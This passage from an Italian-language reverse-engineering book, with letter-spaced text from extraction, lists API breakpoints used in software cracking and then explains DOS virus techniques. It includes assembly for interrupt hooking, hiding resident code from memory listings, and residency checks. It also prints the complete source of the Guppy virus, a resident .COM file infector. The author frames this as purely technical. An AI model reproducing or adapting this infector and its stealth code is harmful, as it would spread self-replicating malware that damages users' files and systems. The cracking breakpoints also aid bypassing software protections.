I l l avor o i n quest o caso deve esser e f at t o abbi nando sapi ent ement e i l
di sassembl at or e con dumper speci f i ci che si ano i n gr ado di i ndi vi duar e e
decodi f i car e quel t i po di packer .

; DATA XREF: sub_0_45606C+118o
align 4

; _______________ S U B R O U T I N E __________________________________


sub_0_456244 proc near ; CODE XREF: sub_0_453618+1Ep
; sub_0_45498C+3p ...
mov ds:dword_0_45B078, 20h
push offset dword_0_45B078
call j_GlobalMemoryStatus
mov eax, ds:dword_0_45B084
retn
sub_0_456244 endp

; ---------------------------------------------------------------------------

L esempi o pr ecedent e una r out i ne di sassembl at a da I DA.
I DA i nol t r e r i esce a di sassembl ar e un numer o abbast anza el evat o di pr ocessor i
di f f er ent i da quel l i del l a f ami gl i a I nt el , anche se quest a non si cur ament e una
del l e car at t er i st i che che ci i nt er essano.
I l r i sul t at o del l anal i si t r a i t r e di sassembl at or i possi amo r i assumer l o mol t o
sempl i cement e.
WDASM mant i ene i l mi gl i or r appor t o pr est azi oni / f unzi oni i n quant o per met t e di
debuggar e e di aver e i l di sassembl at o mi gl i or e di quant o l o si a quel l o di
Sof t I ce.
Chi ar ament e pot endo aver e I DA si cur ament e di spor r et e del massi mo.
Val ut azi oni par t i col ar i vanno comunque f at t e i n r el azi one ai di sassembl at or i
quando i ncont r ano pr ogr ammi pr ot et t i .
Chi ar ament e aver e un ot t i mo sor gent e assembl er pu esser e un ai ut o anche se l a
cosa pr i nci pal e quel l a di aver e sempr e sot t occhi o i val or i der i vat i
dal l el abor azi one.


RIASSUNTO DELLE FUNZIONI PIU UTILIZZATE NELLE RICERCHE


Funzi oni per l et t ur a e scr i t t ur a i n f i l es

ReadFile
WriteFile

Funzi oni per l a r i chi est a di i nf or mazi oni sui f i l e

SetFilePointer

GetSystemDirectory
GetSystemDirectoryA

Per l a l et t ur a o scr i t t ur a i n f i l e . i ni

Per apl i cazi oni a 16 bi t s

GetPrivateProfileString
GetPrivateProfileInt
WritePrivateProfileString
WritePrivateProfileInt

32 bi t s

GetPrivateProfileStringA
GetPrivateProfileIntA
WritePrivateProfileStringA
WritePrivateProfileIntA

Accesso ai f i l e r ami t e i nt er r upt

bpint 21 if (ah==3d)
bpint 2f if (ah==01)

Funzi oni per i l r egi st r o

Cr eazi one voci

RegCreateKey
RegDeleteKey

RegCreateKeyA
RegDeleteKeyA


Let t ur a e scr i t t ur a val or i

RegQueryValue
RegQueryValueA


Aper t ur a e chi usur a chi avi r egi st r o

RegCloseKey
RegOpenKey

RegCloseKeyA
RegOpenKeyA

Di al og Boxes

Let t ur a t est o e i nt er i

GetWindowText
GetDlgItemText

GetWindowTextA
GetDlgItemTextA

GetDlgItemInt

Aper t ur a MessageBox

MessageBox
MessageBoxA
MessageBoxExA
MessageBeep

Al t r i met odi per vi sual i zzar e e pr epar ar e t est i

SENDMESSAGE
WSPRINTF

Cr eazi one wi ndows, di al ogs e al t r e var i e

DialogBox
DialogBoxParam(A)
CreateWindow }
ShowWindow } ""

Funzi oni per i l t empo

Get Syst emTi me
Get Local Ti me

Syst emTi meToFi l eTi me

Gener azi one Wi ndow

createwindow
createwindowexa
showwindow

bitblt (a type of memory move, similar to hmemcpy)

CD- ROM Cal l s

GetDriveType (if eax=5 then it is a cdrom check)
GetDriveTypeA

GetDriveType Return Function codes:

Value Meaning
0 Drive Cannot Be determined
1 Root Dir Does not exist
2 DriveRemoveable
3 A Fixed Disk (HardDrive)
4 Remote Drive(Network)
5 Cd-Rom Drive
6 RamDisk

GetLogicalDrives
GetLogicalDrivesA

GetLogicalDriveStrings
GetLogicalDriveStringsA

Al t r e i nf or mazi oni CDROM

interrupt 2f is the mscdex interrupt

bpint 2f, al=0 ah=15 checks if mscdex installed

try breaking on file accesses as well

I nput numer i co sot t o wi ndow

GETWINDOWWORD
GETWINDOWLONG

Al t r i br eakpoi nt s possi bi l i

BOZOSLIVEHERE
HMEMCPY
GLOBALGETATOMNAME

message br eaks

BMSG xxxx WM_GETTEXT (good for passwords)
BMSG xxxx WM_COMMAND (good fro OK buttons)

Xxxx st per l handl e del l a f i nest r a






















VIRUS E TROJAN HORSES


Quando abbi amo par l at o degl i i nt er r upt s abbi amo vi st o che esi st e l a met odol ogi a
per l egger e l i ndi r i zzo di uno d quest i e per set t ar e una nost r a r out i ne come
vet t or e d i nt er r uzi one.
I nol t r e medi ant e l i nt er r upt s di t i mer possi bi l e cr ear e pr ocessi concor r ent i a
quel l i esi st ent i o i n ogni caso possi bi l e i nt er cet t ar e event i ed at t i var e
pr ocedur e r esi dent i .
Mol t i i nt er r upt s cont r ol l ano l e var i e per i f er i che e qui ndi quando capi t a un
event o quest i vengono r i chi amat i con par t i col ar i codi ci di ser vi zi , nor mal ment e
set t at i nei r egi st r i , che noi possi amo i nt er cet t ar e e qui ndi agi r e di
conseguenza.
I l vol ume che avevo scr i t t o nel 1986 t r at t ava quest o t i po di pr ogr ammi per cui
chi vol esse appr of ondi r e l ar goment o l o posso r i mandar e a quest o.
I n quest o vol ume ci i nt er essa l ar goment o sol o per i l f at t o che t r ami t e quest a
t i pol ogi a di pr ogr ammi possi amo cr ear e caval l i di t r oi a per i nser i r e ne9i
si st emi pr ogr ammi at t i al cont r ol l o di quest i .
Vedi i l f amoso BACK ORI FI CE che vi ene i nst al l at o da un al t r o pr ogr amma e da quel
moment o i n avant i per met t e ad un si st ema r emot o di cont r ol l ar e i l comput er
i gnar o di aver e BO i nst al l at o.
Un pr ogr amma r esi dent e i n memor i a ( TSR - Ter mi nat e and St ay Resi dent ) un
pr ogr amma che l asci a una por zi one di se st esso i n memor i a.
Nor mal ment e compost o da due par t i e pr eci sament e l a par t e che l egge e sal va
gl i i ndi r i zzi dei vecchi i nt er r upt s e quel l a che vi ene set t at a come nuova
por zi one r esi dent e.
Come di cevo pr i ma un pr ogr amma r esi dent e, gr azi e al l i nt er r upt di t i mer , pu
esser e sempr e at t i vo i n concor r enza con gl i al t r i pr ogr ammi car i cat i oppur e pu
esser e di sat t i vo i n at t esa di un vent o che l o f acci a ent r ar e i n f unzi one.
Ad esempi o pot r emmo sal var e l i nt er r upt del di sco, set t ar e l i ndi r i zzo del l a
nost r a r out i ne come nuovo i ndi r i zzo del l i nt er r upt s.
Dent r o al nost r o pr ogr amma pot r emmo cont r ol l ar e per qual e mot i vo st at o
r i chi amat o l i nt er r upt s e successi vament e r i l anci ar e l esecuzi one al l a vecchi a
pr ocedur a o esegui r e qual che cosa di nost r o.
I l f l usso sar ebbe :

























Mol t i TSR ( ut i l i ) pot evano esser e at t i vat i con cer t i t ast i ( CTRL+ALT+1) e qui ndi
modi f i cavano i n modo da pot er l o i nt er cet t ar e l i nt er r upt di t ast i er a.
Salva vecchio indirizzo
INT
Setta indirizzo nostra
funzione
Nostra funzione.
Ci interessa ?
Si. Esegui nostra
funzione.
No. Richiama vecchio
INT.
Chiamata
Asincrona
Al t r i at t endevano un event o sul l a ser i al e.
I nsomma.
Possono esser e 100. 000 i mot i vi che possono at t i var e un TSR.
Tant i anni f a, quando scr i ssi i l vol ume l egat o al l uso degl i i nt er r upt s medi ant e
C f u det t o che l o scopo er a quel l o di scr i ver e vi r us.
Vogl i o pr eci sar e che anche se l e t ecni che r i por t at e su quest o vol ume sono
ut i l i zzabi l i per scopi mal dest r i i l ver o scopo quel l o di veder e i l l at o
t ecni co i n quant o, i o per sonal ment e, non ut i l i zzer ei mai e poi mai un vi r us per
r omper e l e scat ol e al pr ossi mo.
La cosa i nt er essant e l i ndi eme di met odol ogi e l egat e a quest o ar goment o.
Per un po ho pensat o di non i nser i r e quest a par t e nel vol ume ma poi al l a f i ne l e
ar goment azi oni er ano t r oppo i nt er essant i per esser e t r al asci at e.
MCB, PSP e DTA sono i condi ment i per quest o capi t ol o.
Un vi r us deve sf r ut t ar e i l basso l i vel l o vi st o che non pu sf r ut t ar e l i br er i e e
cose si mi l i che f acci ano di veni r e un pr ogr amma di 2000 byt es uno di 30 Mbyt es.
Non possi bi l e f or ni r e un set up e un CD per i nst al l ar e un vi r us p er cui se
deve al l ocar si memor i a senza f ar si accor ger e deve andar e a veder e come
st r ut t ur at o i l MCB e deve modi f i car sel o.
Ri pet o che desi der er ei f osse vi st a sol o l a component e t ecni ca del l ar goment o.
Nel l i mi t e del possi bi l e usat e l e t eor i e per scr i ver e pr ogr ammi ut i l i che
l asci andol i t r a i l PD sof t war e pot ebber o condur vi a quel br i cci ol o di not or i et
che un vi r us non vi pu dar e ( a meno che non si at e t ant o f essi da scr i ver e sul
vi r us ( ( C) Copyr i ght di xxxxx) .
Se deci dest e di f ar l o dat evi un occhi at a al l e spal l e pr i ma di ent r ar e i n casa !
Anche i vi r us si basano su quest a t ecni ca al f i ne di r i maner e r esi dent i i n
memor i a.
La pr i ma par t e di un sof t war e di quest o t i po quel l a che esegue i l sal vat aggi o
Come abbi amo det t o nel l apposi t o capi t ol o, un i nt er r upt s sost anzi al ment e una
f unzi one del BI OS o del DOS che un pr ogr amma pu r i chi amar e.
Esi st ono due f unzi oni del pr i nci pal e i nt er r upt DOS ( I NT 21h) che per met t ono di
l egger e e di set t ar e gl i i ndi r i zzi di dove si t r ova i l cor po di un i nt er r upt .
Lr e f unzi oni sono pr eci sament e l e :

AH = 35h (Get Interrupt Vector)
AL = Interrupt Number

I val or i di r i t or no sono :

AX = Unchanged
ES = Interrupt Handler Segment
BX = Interrupt Handler Offset

La f unzi one del l i nt 21h che i nvece set t a un i nt er r upt :

AH = 25h (Set Interrupt Vector)
AL = Interrupt Number
DS = New Handler Segment
DX = New Handler Offset

; Assume t hat DS = CS as i n a . COM f i l e.

I l seguent e sepzzone di codi ce r i chi ede l i ndi r i zzo di un i nt er r upt , l o sal va e
l o r i set t a con un al t r o codi ce.

Get_Interrupt_Address:
mov ax,3521h ;Get Old Int 21h Address
int 21h

mov word ptr [Int_21_Segment],es ;Save old address
mov word ptr [Int_21_Offset],bx

Set_Interrupt_Address:
mov ax,2521h
mov dx,offset Int_21_Handler ;DS:DX = Int_21_Handler
int 21h ;Set the new handler


Int_21_Handler:
cmp ah,4bh ;Check for activation
je execute_a_program ;conditions by looking
cmp ah,3dh ;at the function numbers
je open_a_file ;of Int 21 that you wish
;to intercept. Make sure
;to save any registers that
;you change inside the
;various handlers!!!!!!
Go_Int_21:
db 0eah ;This simulates a far jump
Int_21_Offset dw 0 ;to the old interrupt handler.
Int_21_Segment dw 0 ;(0EAh is code for a far jmp.)

Ri cor dat evi sempr e che un i nt er r upt pu esser e chi mat o i n qual si asi moment o per
cui al suo r i t or no l ambi ent e deve esser e esat t ament e come quando st at o
chi amat o.
Quest o si gni f i ca che devono esser e sal vat i t ut t i i val or i dei r egi st r i che
ver r anno modi f i cat i dal codi ce del l i nt er r upt .
Ol t r e a quest o bi sogna st ar e at ent i che l i nt er r upt non r i chi ami f unzi oni che
t occa di r et t ament e.
Se ad esempi o i l vost r o i nt er r upt modi f i ca l a f unzi one 3DH del l i nt 21H buona
cosa che non l a r i chi ami .
Al cont r ar i o pu i nvece f ar e r i f er i ment o agl i i ndi r i zzi che ha pr ecedent ement e
sal vat o.

Call_Int_21h:
pushf ;push the flags and perform
call dword ptr [Int_21_Offset] ;a far call to simulate an
; I NT cal l .
Avevamo det t o che i pr i mi 1024 byt es cont engono gl i i ndi r i zzi dei 256 possi bi l i
i nt er r upt s.
Un met odo al t er nat i vo per cambi ar e e l egger e i vet t or i d i nt er r upt st
nel l andar e a modi f i car e di r et t ament e gl i i ndi r i zzi i n quel l a t abel l a.

Set_DS_to_Table: ;DS = 0
xor ax,ax
mov ds,ax

Hook_Int_21:
mov ax,offset Int_21_Handler ;ax = Handler Offset
mov bx,cs ;bx = Handler Segment

cli ;clear interrupts
xchg ax,word ptr ds:[84h] ;Set AX = Old handler offset
;and set new offset.
xchg bx,word ptr ds:[86h] ;Set BX = Old handler segment
;and set new segment.
mov word ptr cs:[Int_21_Offset],ax
mov word ptr cs:[Int_21_Segment],bx
sti ;restore interrupts

push cs
pop ds ;restore DS = CS

Una del l e f unzi oni che pot r ebbe esegui r e i l codi ce quel l a del l al l ocazi one di
memor i a per i l codi ce del pr ogr amma st esso e l a t er mi nazi one per f ar e r i mener e
r esi dent e i l codi ce.
L uso del l i nt 27h pot r ebbe cr ear e pr obl emi avvi sando l ut ent e i gnar o che c
qual che cosa che non va.
Dal l anal i si del codi ce del vi r us Ar mageddon possi bi l e veder e f aci l ment e un
met odo al t er nat i vo.
Un al t r o pr obl ema l egat o al l a r i cer ca di uno spazi o di memor i a non ut i l i zzat o
dove i nser i r e i l codi ce.
La memor i a vi deo ( 0b000/ 0b800) dedi cat a al monocr omat i co pot r ebbe andar e bene
anche se quest o pu esser e ut i l i zzat o da codi ci mol t o cor t i .
Un gr ande numer o di vi r us ut i l i zza i l set t or e di boot per t r ovar e l a memor i a.
Pr i ma che i l DOS venga esegui t o i l BI OS sal va l ammont ar e di memor i a bassa i n
una WORD ubi cat a al l i ndi r i zzo 0: 413h.
Quest a WORD cont i ene i l numer o di Kbyt es ut i l i zzabi l i a par t i r e da 0000: 0000 e
t er mi nado a A000: 0000.
E possi bi l e r i ser var si del l a memor i a sot r aendo a quest o numer o i l numer o dei
Kbyt es ut i l oi zzat i dal vi r us.
Fat t o quest o si t r ova i l segment o mol t i pl i cando i l nuovo val or e per 64 ( 40h) per
conver t i r l o i n paagr af i .
Quest a ml a vost r a ar ea l i ber a dove copi ar e i l vi r us.
Esegui amo l a copi a e qui ndi set t i amo l i nt er r upt per punt ar e al suo handl er .
Quando i l DOS par t e consi der a quest ar ea al l ocat a e i l CHKDSK r i t or na i l numer o
di k i n meno di mememor i a aseconda di quant o avet e r i ser vat o.
Quest o un esempi o del l a t ecni ca.


Get_Current_Amount:
xor ax,ax
mov ds,ax
mov ax,word ptr ds:[413h] ;ax = memory in K

Reserve_Memory:
dec ax
mov word ptr ds:[413h],ax ;lower memory by 1K

Calculate_Free_Segment:
mov cl,06
shl ax,cl ;AX = AX * 64
mov es,ax ;ES:0 is now the beginning
;of free memory.

Sf or t unat ament e i l met odo pr ecedent e f unzi ona sol o con i l DOS l et t o o per l omeno
non f unzi ona bene i n cer t e ci r cost anze.
Per super ar e i l pr obl ema ci si pu basar e sul l a met odol ogi a che i l DOS usa per
l a gest i one del l a memor i a, ovver o t r ami t e MCB ( Memor y Cont r ol Bl ocks) e t r ami t e
PSP ( Pr ogr amSegment Pr ef i x) .
Quando un f i l e vi ene l et t o per esser e esegui t o i l DOS r i ser va l a memor i a
necessar i a per i l f i l e e l a f a pr eceder e da un header di 16 byt es chi amat o MCB.
Quest o header i nf or ma i l DOS sul pr opr i et ar i o del bl occo di memor i a, del l a
di mensi one e se quel l o l ul t i mo bl occo del l a cat ena o no.
I l DOS l egge una t abel l a di 256 byt es chi amat a PSP i mmedi at ament e dopo al MCB.
I l PSP f ondament al ment e una t abel l a di i nf or mazi oni per i l DOS l a qual e
i ncl ude l a l ocazi one del t op r el at i vo al l a memor i a al t a usabi l e da quest o.
Quest o cont i ene anche i l DTA, i l FCB e l a command l i ne del pr ogr amma.
Vedr emo che esi st ono f unzi oni r el at i ve al l a cr eazi one del DTA al f i ne di non
ut i l i zzar e quel l o i nt er no al PSP nel caso i n cui si gest i sca i l t ut t o da
pr ogr ammi vi r us.
Se i l pr ogr amma un . COM esso ver r l et t o ed esegui t o con CS: 0 ugual e
al l i ni zi o del PSP met t endo l i ni zi o del f i l e ad un of f set di 100h.
Ri cor di amoci che i . COM ut i l i zzando un sol o segment o per t ut t o non necessi t ano
di header par t i col ar i .
Se i l pr ogr amma un . EXE l i ni zi o del f i l e ver r l et t o a CS: 0 dove CS 10h
pi gr ande del segment o del PSP.
Quest o i mpor t ant e da r i cor dar e quando si cer ca di modi f i car e i l PSP dal
pr ogr amma.
I l MCB 10h pi basso i n memor i a del PSP, o un segment o i n meno.
La st r ut t ur a del l a t abel l a compl et a l a seguent e.

Memory Control Blocks
Offset Name Length (Bytes) Description

0 Location 1 M=Last Block, Z=Not Last
1 Owner 2 Segment of start of Memory
3 Size 2 Length in Paragraphs
5 Unknown 3 Supposedly Reserved
8 Owner's Name 8 Name. Appears in mem maps

Program Segment Prefix
Offset Name Length (Hex Bytes) Description

00 Terminate 2 CD20 (Int 20)
02 Top of Memory 2 Usually set at A000.
-- Sometimes needed to
-- lower DOS's memory for
-- a virus.
04 Unknown 1 Supposedly Reserved.
05 CPM stuff 5 Obsolete
0A Exit to DOS 4 Int 22h handler (IP:CS)
0E Control C Handler 4 Int 23h handler (IP:CS)
12 Critical Error 4 Int 24h handler (IP:CS)
16 Parent ID 2 Segment of Parent Prog.
18 Handle Table 14 One byte/handle
2C Environment Segment 2 Segment of Envir. Vars.
2E User Stack 4 Stack address
32 File Handle Count 2 Size of Handle Table
34 Handle Table Address 4 If not at 12h
38 Unknown 1c Supposedly Reserved
50 Dos Call and RET 3 INT 21, RET
53 Unknown 9 Supposedly Reserved
5C FCB 1 10 File Control Block
6C FCB 2 10 ""
7C Unknown 4 Reserved
80 Command Line Length 1 Also used as the
81 Command Line 7f default DTA.

Usando qest e i nf or mazi oni ci sono due modi per di vent ar e r esi dent i .
I l pr i mo quel l o di di r e al DOS che i l t op del l a memor i a uno o due kbyt es i n
meno abbassando l a memor i a MCB f i no a f ar l o cor r i sponder e e qui ndi abbassando
anche l a memor i a del BI OS come most r at o pr i ma.
Quest o met odo per met t e al vi r us di di vent ar e r esi dent e usando una pi ccol a
por zi one di codi ce e evi t ando di esser e l i st at o dal l a MEM s l i st .
Sf or t unat ament e l abbasament o del l a memor i a evvi dent e usando pr ogr ammi che l a
vanno a l egger e ( CHKDSK ecc. ) .
L al t r o met odo quel l o di cr ear e un al t r o memor y bl ock cme l al t r o e set t ando
come pr opr i et ar i o se st esswo o al l i mi t r e i l command. com.
Quest o pu esser e f at t o anche con f unzi oni dedi cat e al l a memor i a del DOS.
Vedi amo i l met odo i n cui si abbassa i l t op del l a memor i a nel campo del PSP e poi
abbassando l a memor i a del DOS.

;This example assumes .COM file structure where DS = CS = PSP.

Get_And_Lower_Top_Of_Memory:
mov ax,word ptr ds:[02] ;Get Top of Memory (PSP)
sub ax,40h ;Lower it by 1K (40h paragraphs)
mov word ptr ds:[02],ax ;And Replace Value.

Get_MCB_Segment:
mov ax,ds ;AX = CS = DS
dec ax ;Get Segment of MCB
mov ds,ax ;And put into DS

Shrink_Block:
sub word ptr ds:[03],40h ;Subtract 1K from host's MCB
;allocation (paragraphs)
Allocate_From_Bios:
xor ax,ax
mov ds,ax ;DS = 0
dec word ptr ds:[413h] ;Allocate 1K from Bios

Find_Free_Segment:
mov ax,word ptr ds:[413h] ;Get memory in 1K
mov cl,6
shl ax,cl ;change to segment (multiply
;by 64 or 40h)

;AX now equals free segment
;of memory

mov es,ax ;Set ES = Free Segment

L al l ocazi one t r ami t e f unzi oni DOS spesso i l met odo ut i l i zzat o dagl i scr i t t or i
di vi r us.
Per f ar e quest o si r i cer ca i l massi mo bl occo di sponi bi l e chi amando l a f unzi one
4Ah ( Modi f y Memor y Al l ocat i on) del l I NT 21h con una r i chi est a i n par agr af i di
0f f f f h.
Dat o che quest o i mpossi bi l e l a f unzi one set t a i l car r y f l ag nel pr ocessor e ed
i nser i sce i l massi mo di memor i a di sponi bi l e i n BX.
Sot r aet e a quest a l a di mensi one dei par agr af i che desi der at e ( +1 per si cur ezza)
ed esegui t e nuovament e l a f unzi one 4Ah con i l nuovo val or e i n BX.
Quest o r i ser ver suf f i cent e spazi o per i l vi r us al t op del l a memor i a.
A quest o punt o ut i l i zzat e l a f unzi one 48h ( Al l ocat e Memor y) con BX set t at o al
numer o di par agr af i vol ut o senza quel +1 di pr i ma.
La f unzi one r est i t ui r i n AX i l segment o di memor i a l i ber a.
Or a si dovr set t ar e i l nuovo bl occo come l ul t i mo del l a cat ena set t ando i pr i mi
byt es del MCB a Z cambi ando anche i l pr opr i et ar i o.
I pr opr i et ar i o usual ment e un val or e a wor d cor r i spondent e al pr ogr am s PSP
( MCB Seg+1) .
Quest o dovr ebbe f unzi onar e oppur e dovr et e set t ar l o con un val or e r i ser vat o t i po
08 ( I / O) .
Dopo che quest o st at o f at t o, se vol et e, pot et e set t ar e i l nome del
pr opr i et ar i o nel campo che par t e a MCB_SEG: 0008 con un nome al massi mo di 8
byt es.

Get_Maximum_Memory:

mov ah,4ah
mov bx,0ffffh ;Request too much
int 21h ;memory - maximum size
;returned in BX.
Subtract_Needed_Memory:
sub bx,((end_vir-start_vir+0fh)/10h)*2+1 ;Shrink Block by
;(virsize*2)+1

Shrink_Block: ;BX = Paragraphs
mov ah,4ah ; Requested
int 21h ;ES = Segment of Block

Allocate_Memory:
mov ah,48h
mov bx,((end_vir-start_vir+0fh)/10h)*2 ;Allocate (virsize*2)
int 21h ;Returns AX = Free Seg

Point_ES_to_New_MCB:
dec ax
mov es,ax
inc ax

Set_As_Last_Block:
mov byte ptr es:[0],'Z' ;Mark as last
;in chain
Set_Owner:

;Note: The number in the Owner field is usually the segment of the program's
; PSP. Certain values, however, have special meanings. 08, for example,
; indicates I/O or Command.COM as the owner. This can be useful for
; deceptions. The only requirement of this is that the owner will NOT
; be deallocated.

mov word ptr es:[1],ax ;Set owner as itself.

Set_Name:
;Note: This is not necessary, but it can be used for many purposes.

mov di,08 ;ES:DI = owner name
;DOS 4+
mov si,offset virname
push cs
pop ds
mov cx,4
repnz movsw ;Copy name into field.
;This will show up in programs like MEM and
;System Information.


............. ;Continue program, hook interrupts, etc.

virname db 'reMEMber'


La mani pol azi one di r et t a si mi l e come f i ne a quel l a esegui t a con i l DOS ma con
passi di f f er ent i .
Un vant aggi o di quest o met odo che uno pu det er mi nar e che cosa per met t er e al
DOS di vi sual i zzar e.
I l codi ce i l seguent e.

Get_Maximum_Memory:
mov ax,ds
dec ax
mov ds,ax ;DS = MCB
mov bx,word ptr ds:[03] ;Get Block Size

Subtract_Needed_Memory:
sub bx,((end_vir-start_vir+0fh)/10h)*2+1 ;Shrink Block by
;(virsize*2)+1
Shrink_Block:
mov word ptr ds:[03h],bx ;Lower Block Size

;Note: If you want your program to show up in a memory map, set this byte
; to 'M', meaning that it is NOT the last block. Otherwise, set it
; to 'Z' so that MEM and like programs will not trace past it.

mov byte ptr ds:[0],'M' ;Mark host block's
;location in chain.

Lower_Top_Of_Memory: ;Lower field in PSP
sub word ptr ds:[12h],((end_vir-start_vir+0fh)/10h)*2+1

Point_ES_to_New_MCB: ;Get New top of mem
mov ax,word ptr ds:[12] ;from PSP.
mov es,ax ;ES = new segment.

Set_As_Last_Block:
mov byte ptr es:[0],'Z' ;Mark as last
;in chain
Set_Owner:
mov word ptr es:[1],ax ;Set owner as itself.


Uno dei pr obl emi , che vedr emmo i n modo pi det t agl i at o al l a f i ne del capi t ol o,
r i guar da l aut or i conosci ment o del vi r us.
Quest o ser ve a f ar e i n modo che i l codi ce sappi a r i conoscer e qual i pr ogr ammi
sono gi st at i t occat i .

Install_Check:
mov ax,0deadh
int 21h ;Is it installed?
cmp ax,0deadh
je Already_Installed ;Yes? jump to Already_Installed
Install: ;otherwise install it.
..........

Int_21_Handler:
cmp ah,4bh
je execute
cmp ah,3dh
je open
cmp ax,0deadh ;Is it an install check?
je Install_Check ;Yes, jump to Install_Check.
Go_Int_21:
db 0ea
Int_21_IP dw 0
Int_21_CS dw 0

Install_Check: ;Save value in AX
iret

I l codi ce che segue compr ende anche i l codi ce di i nocul azi one del vi r us.
Si t r at t a di un codi ce compl et o r el at i vo al GUPPY VI RUS.

;***************************************************************************
;* The Guppy Virus *
;***************************************************************************
;* The Guppy virus is a relatively simple, very small, resident .COM *
;*infector. It uses the standard way for a regular program to go resident *
;*(i.e. Int 27) which makes the infected program terminate the first time *
;*run. After that, however, infected files will run perfectly. This virus*
;*uses interesting methods to restore the storage bytes, as well as a *
;*strange technique to restore control to an infected file after it has *
;*already gone memory resident. *
;* *
;***************************************************************************

.model tiny
.radix 16
.code

org 100h
start:
call Get_Offset

Get_Offset:
pop si ;SI = offset of vir +
;(Get_Offset-Start)
mov ax,3521h
mov bx,ax
int 21h ;Get Int 21 Address

mov ds:[si+Int_21_Offset-103],bx ;Save old Int 21
mov ds:[si+Int_21_Segment-103],es

;mov dx,si ;Bytes vary between assemblers
db 89,0f2

;add dx,offset Int_21_Handler-104
db 83,0c2,1f

mov ah,25h
int 21h ;Set Int 21

inc dh ;Add 100h bytes to go resident
;from handler
push cs
pop es
int 27h ;Terminate & stay resident
;DX+1 = end of area to go res.


Int_21_Handler:
cmp ax,4B00h ;Is call a Load & Execute?
je Infect ;Yes? Jump Infect

cmp al,21h ;Might it be a residency check?
jne Go_Int_21 ;No? Restore control to Int 21

;cmp ax,bx ;Are AX and BX the same?
db 39,0d8

jne Go_Int_21 ;No, Restore control to Int 21

push word ptr [si+3dh] ;3dh = offset of Storage_Bytes -
;Get_Offset

;This gets the first word of
;storage bytes, which is then
;popped to CS:100 to restore it.

mov bx,offset ds:[100] ;100 = Beginning of COM
pop word ptr [bx]

mov cl,[si+3Fh] ;Restore third storage byte.
mov [bx+2],cl

Restore_Control:
pop cx
push bx
iret ;Jump back to Host program.

Storage_Bytes db 0, 0, 0

Infect:
push ax
push bx
push dx
push ds
mov ax,3D02h
int 21h ;Open File for Read/Write Access

xchg ax,bx
call Get_Offset_Two

Get_Offset_Two:
pop si
push cs
pop ds
mov ah,3F
mov cx,3
sub si,10 ;Set SI=Storage_Bytes

;mov dx,si
db 89,0f2

int 21h ;Read first 3 bytes of file

cmp byte ptr [si],0E9h ;Is the first command a jump?
jne Close_File ;No? Jump to Close_File
mov ax,4202h
xor dx,dx
xor cx,cx
int 21h ;Go to end of file

xchg ax,di
mov ah,40h
mov cl,98h ;Virus Size

;mov dx,si
db 89,0f2

sub dx,40h ;Beginning of virus
int 21h ;Append virus to new host

mov ax,4200h
xor cx,cx
xor dx,dx
int 21h ;Go back to beginning of file

mov cl,3

;sub di,cx
db 29,0cf

mov [si+1],di
mov ah,40h

;mov dx,si
db 89,0f2

int 21h ;Write 3 byte jump to file

Close_File:
mov ah,3Eh
int 21h

pop ds
pop dx
pop bx
pop ax
Go_Int_21:
db 0EAh ;Go On With Int 21
Int_21_Offset dw ?
Int_21_Segment dw ?

end start
;**************************************************************************

Vedi amo or a di appr of ondi r e al cuni concet t i l egat i ad al t r i punt i l egat i ai
vi r us.
Al cune i nf or mazi oni l egat e al l a st r ut t ur a del vi r us sono essenzi al i per l a
compr ensi one di al t r i punt i che vedr emo a br eve.
Un vi r us pu esser e di vi so i n t r e par t i : i l r epl i cat or e, l ocul t at or e e l a
bomba.
I l r epl i cat or e cont r ol l a i l r appor t o del vi r us con gl i al t r i f i l es, l ocul t at or e
cer ca di no f ar l o scopr i r e ment r e l a bomba esegue quel l o che deve f ar e i l vi r us
quandeo si ver i f i ca l a condi zi one di at t i vazi one.
I l l avor o del r epl i cat or e quel l o di i nst al l ar e i l vi r us nel si st ema su cui si
t r ova.
I l r epl i cador e deve qui ndi di f f onder e i l vi r us nel si st ema senza di st r ugger e i
f i l es che va a cont ami nar e.
I l model l o pi sempl i ce quel l o, come abbi amo f gi vi st o, che ser ve ad
i nf et t ar e i f i l es . COM.
I l vi r us per pr i ma cosa sal va i pr i mi byt es del f i l e da i nf et t ar e, qui ndi sal va
una pr i ma por zi one di codi ce ed i nf i ne sal va i l r i manent e al l a f i ne.

+----------------+ +------------+
|P1 | P2 | |V1 | V2 |
+----------------+ +------------+
Il file infettato Il codice del virus

Nel di agr amma P1 l a pr i ma par t e del f i l e, P2 l a seconda ment r e V1 e V2 sono l a
pr i ma e l a seconda par t e del vi r us.
Not at e che l a par t e P1 deve esser e del l a st essa di mensi one di V1 ment r e l a
seconda par t e, P2, pu esser e vanche di di mensi oni di ver se da V2.
I l vi r us pr i ma sal va P1 e l o copi a al l a f i ne del f i l e oppur e dent r o al codi ce
del vi r us st esso.
Assumi amo che esegua l a copi a al l a f i ne del f i l e.
I n quest o caso i l di agr amma di vent a.

+---------------------+
| P1 | P2 | P1 |
+---------------------+

Or a i l vi r us copi a l a pr i ma par t e di se st esso al l i ni zi o del f i l e.

+---------------------+
| V1 | P2 | P1 |
+---------------------+

Fi nal ment e i l vi r us copi a l a seconda par t e di se st esso al l a f i ne del f i l e.

+-----------------------------+
| V1 | P2 | P1 | V2 |
+-----------------------------+

I l pr obl ema or a : che cosa f anno V1 e V2 ?
V1 t r asf er i sce i l cont r ol l o del pr ogr amma a V2.
I l codi ce mol t o sempl i ce

JMP FAR PTR Duh ; Takes four bytes
Duh DW V2_Start ; Takes two bytes

Duh un f ar poi nt er ( Segment : Of f set ) che punt a al l e pr i me i st r uzi oni di V2.
Not at e che i l val or ew di Duh deve esser e cambi at o per r i f l et t er e l a l unghezza
del f i l e che i nf et t at o.
Per esempi o, se l a di mensi one or i gi nal e del pr ogr amma 79 byt es, Duh deve
esser e cambi at o i n modo che l i st r uzi one a CS: [ 155h] si a esegui t a.
I l val or e di Duh ot t enut o aggi ungendo l a l unghezza di V1, l a di mensi one
or i gi nal e del f i l e i nf et t at o, e 256 ( PSP) .
I n quest o caso, V1 = 6 e P1 + P2 = 79, qui ndi 6 + 79 + 256 = 341 deci mal e ( 155
hex) .
Un modo al t er nat i vo, pi compl i cat o da compr ender e i l seguent e :

DB 1101001b ; Code for JMP (2 byte-displacement)
Duh DW V2_Start - OFFSET Duh ; 2 byte displacement

Quest o i nser i sce un sal t o al l of f set di r et t ament e dent r o al codi ce seguent e.
Si deve anche sost i t ui r e l a seconda l i nea con

DW V2_Start - $

V2 cont i ene i l r est o del codi ce.
L ul t i ma par t e di V2 copi a P1 su V1 ( i n memor i a e non su di sco) e qui ndi
